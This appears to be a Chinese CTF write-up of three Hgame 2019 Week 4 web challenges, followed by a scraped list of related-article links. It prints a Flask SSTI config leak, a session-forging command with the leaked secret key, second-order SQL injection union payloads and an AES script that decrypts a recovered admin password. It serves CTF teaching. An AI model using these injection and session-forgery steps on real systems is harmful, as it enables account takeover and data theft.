前言

最近利用空余时间做了一下Hgame,以下是部分web题题解。

happyPython

信息搜集

发现是flask,随手测试一下。http://118.25.18.223:3001/{{1+1}}

发现可能存在SSTI,打了几发payload,发现都是500,想到测试一下过滤。http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D

发现将()替换成了空。

SECRET_KEY获取

那么执行命令应该变得非常困难,但是网站有登录,注册功能。

随手解了一下session。

猜测可能要伪造user_id=1

那么不能执行命令,我们可以进行信息读取,获得SECRET_KEY。

探测了一下过滤,发现url_for还存在。http://118.25.18.223:3001/%7B%7Burl_for%7D%7D

进一步了解一下。url_for.__globals__

发现已经是,继续深入一下,读config。url_for.__globals__['current_app'].config

得到回显

发现'SECRET_KEY': '9RxdzNwq7!nOoK3*'

session伪造

我们进行session伪造。{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}

这里直接改user_id不行,本以为有csrf_token,我们需得到下一次csrf_token再伪造。

此时解密可以得到当前csrf_token。

进行伪造flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"

但是发现仍然不行,这里尝试Python3,发现成功。

得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。

happyPHP

信息搜集

F12发现源代码有信息泄露。

下载源码后直接搜索flag。

发现需要变成id=1的用户才会得到flag。

二次注入

同时发现高危操作。$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");

没有经过过滤,直接拼接name。

容易想到二次注入,这里注册用户。1' or 'a'='a

得到结果

发现可以注入,思考需要注入的value。

这里我直接认为注入id=1用户的密码是没有作用的(后来发现就是注密码= =),我们发现这里的密码已加密。$user = User::create([

'name' => $request->name,

'email' => $request->email,

'password' => encrypt($request->password),

]);

我们观察到数据库信息public function up()

{

Schema::create('password_resets', function (Blueprint $table) {

$table->string('email')->index();

$table->string('token');

$table->timestamp('created_at')->nullable();

});

}

发现存在更改密码的table,那么我本以为这里还是和护网杯的一道题如出一辙,注入出id=1用户的token,更改其密码即可。

随即尝试二次注入,寻找回显点(这里不按照给我们的table字段个数和顺序来,因为上次护网杯被坑过= =,还是自己尝试靠谱)

尝试skysky' order by 1#

发现正常。

尝试skysky' order by 2#

发现500,于是确定只有1列(泄露果然不靠谱)构造。-1' union select 1#

那么注入password_resets表email和token字段即可。-1' union select (select email from password_resets)#

结果又500了,出题人给的信息真的一点不能信= =,那么干脆直接注一下users表看看。

直接注密码尝试。-1' union select (select password from users limit 0,1)#

得到eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

解码得到{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

password解密

到这我才发现前面的密码加密和护网杯那次不一样……容易非常多,也根本不存在password_reset,我说怎么路由里没看见改密码的。= =

那么继续寻找解密方式。

发现没有key,这里需要回滚git。

得到APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

于是我们已经有$key='9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='

$iv='rnVrqfCvfJgnvSTi9z7KLw=='

$c='EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods='

解密import base64

from Crypto.Cipher import AES

def decrypt(  enc ):

enc = base64.b64decode(enc)

iv = base64.b64decode('rnVrqfCvfJgnvSTi9z7KLw==')

cipher = AES.new(base64.b64decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='), AES.MODE_CBC, iv )

return cipher.decrypt( enc )

print decrypt('EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=')

得到密码9pqfPIer0Ir9UUfR

getflag

那么只差账号email了。

我们再去注入-1' union select (select email from users wh ere id=1)#

登录admin@hgame.com

9pqfPIer0Ir9UUfR

得到flaghgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

HappyXss

这题比较简单,测试发现被过滤,则会被替换成Happy!

由于过滤较多,fuzz一下过滤,容易发现残留。这里选择用ascii码拼接的方式bypass:

(注:这里vps_ip我用127.0.0.1代替)

得到flaghgame{Xss_1s_Re@llY_Haaaaaappy!!!}

php talk99,CTF题目实战:2019-Hgame-Web-Week4 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...相关推荐

  1. Apache CXF实战之七 使用Web Service传输文件

    2019独角兽企业重金招聘Python工程师标准>>> 本文链接:http://blog.csdn.net/kongxx/article/details/7540930 Apache ...

  2. ctf题目:看不见的flag_记一次江西省信息安全线下CTF比赛

    废话开篇 上学期,我在机房看红黑树的代码,被我们网络安全的老师看到了,于是就被拉去报名了信息安全的比赛,你们可能会很迷惑,写红黑树的代码和信息安全比赛有什么关系,我也这样想的,这有什么关系.. 当时报 ...

  3. 人工智能实战2019第七次作业(OpenPAI) 16721088 焦宇恒

    项目 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 OpenPAI与NNI的使用 我在本作业的目标 学习OpenPAI的使用 学习OpenPAI的使用 OpenPAI简介 ​ ...

  4. 2019年web前端就业前景和工资待遇

    小编推荐:Fundebug提供JS错误监控.微信小程序错误监控.微信小游戏错误监控,Node.j错误监控和Java错误监控.真的是一个很好用的错误监控费服务,众多大佬公司都在使用. 2019年web前 ...

  5. CTF题目难度等级划分

    CTF题目难度等级(1-10): 难度等级 描述 用途 例子 最大分值 1 赛题的考点是非常常见的,选手们对于此类赛题可以直接进行解题步骤,并且在较短的时间内得到正确答案.该难度下通常不需要利用额外的 ...

  6. 攻防世界ctf题目easyupload做题笔记。

    刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固.做了半天没有解出来,最后还是看别人的题解做出来的.写下做题过程,也就是wp吧.为了方便以后复习巩固. 本题的主要考点为利用 ...

  7. [转帖]2019 简易Web开发指南

    2019 简易Web开发指南 2019年即将到来,各位同学2018年辛苦了. 不管大家2018年过的怎么样,2019年还是要继续加油的! 在此我整理了个人认为在2019仍是或者将成为主流的技术与大家分 ...

  8. [网络安全自学篇] 三十一.文件上传之Upload-labs靶场及CTF题目01-10(四)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了编辑器漏洞和IIS高版本文件上传漏洞,包括FCKeditor.eWeb ...

  9. ctf 监听端口_从一道ctf题目学到的绕过长度执行命令姿势 - 华域联盟|chu

    参考:https://blog.csdn.net/calmegm/article/details/80874902 https://www.leavesongs.com/SHARE/some-tric ...

最新文章

  1. python能在工程上干嘛-python能干什么?
  2. python06: 运算符. if
  3. 【codecombat】 试玩全攻略 第十四关 已知敌人
  4. 浅析haartraining方法进行人脸检测
  5. 解决font-weight:600在安卓机不生效的方法
  6. 关于网站mdb数据库管理员MD5密码解密
  7. 零基础学习sql篇(1)
  8. matlab怎样灰度变换,matlab灰度变换函数
  9. PPT2016内嵌Excel的动态图表
  10. Intellij Idea Database schemas显示
  11. 腾讯广告算法大赛2019
  12. 人工智能几行代码实现换脸
  13. 计算机数据表格展示,利用工具,一分钟完成数据可视化,快速输出美观的数据图表...
  14. kcl方程独立性的图论证明
  15. QML入门教程(2): QML Button用法介绍
  16. HTML实现动态圣诞树和雪花效果
  17. 计算机网络:应用层基本概念
  18. python科目真题_不止金融行业, 全民都在学Python
  19. 史上最详细教程!Windows上安装Mac OS!多图收藏
  20. C语言函数和主函数的调用

热门文章

  1. 处理程序 SafedogIISAuditor32 错误代码 0x80070003
  2. el-upload上传文件(手动上传,自动上传,上传进度)
  3. 每个 Python 开发者必备的5款 VScode 拓展工具包!
  4. k8s mysql容器镜像_kubernetes(二)之Docker容器及镜像
  5. Mysql, where clause is ambiguous
  6. java --向上转型和向下转型
  7. C/C++中正则表达式库RE2的使用
  8. ftp上下载解析Excel
  9. ElementPlus locale 汉化 国际化失效 完美解决
  10. 计算机会计学书籍,清华大学出版社-图书详情-《会计信息系统原理与实验教程》...